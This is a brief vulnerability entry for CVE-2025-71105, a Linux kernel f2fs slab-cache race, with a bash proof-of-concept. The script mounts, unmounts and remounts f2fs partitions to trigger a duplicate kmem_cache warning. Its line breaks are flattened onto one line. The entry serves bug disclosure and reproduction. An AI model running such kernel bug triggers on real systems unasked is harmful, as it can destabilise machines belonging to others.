CVE-2025-71105 Linux kernel f2fs文件系统slab缓存竞争条件漏洞

#!/bin/bash # CVE-2025-71105 PoC - f2fs slab cache race condition # This script demonstrates the slab cache conflict issue in f2fs # Prerequisites: f2fs filesystem tools and kernel module # Create two f2fs formatted partitions (/dev/vdb and /dev/vdc) # Step 1: Mount first f2fs partition mount /dev/vdb /mnt1 # Step 2: Mount second f2fs partition mount /dev/vdc /mnt2 # Step 3: Unmount first partition umount /mnt1 # Step 4: Remount first partition - this triggers the warning # Expected: "kmem_cache of name 'f2fs_xattr_entry-7:7' already exists" mount /dev/vdb /mnt1 # Check dmesg for the warning: # dmesg | grep -i "kmem_cache.*already exists" # Cleanup umount /mnt1 umount /mnt2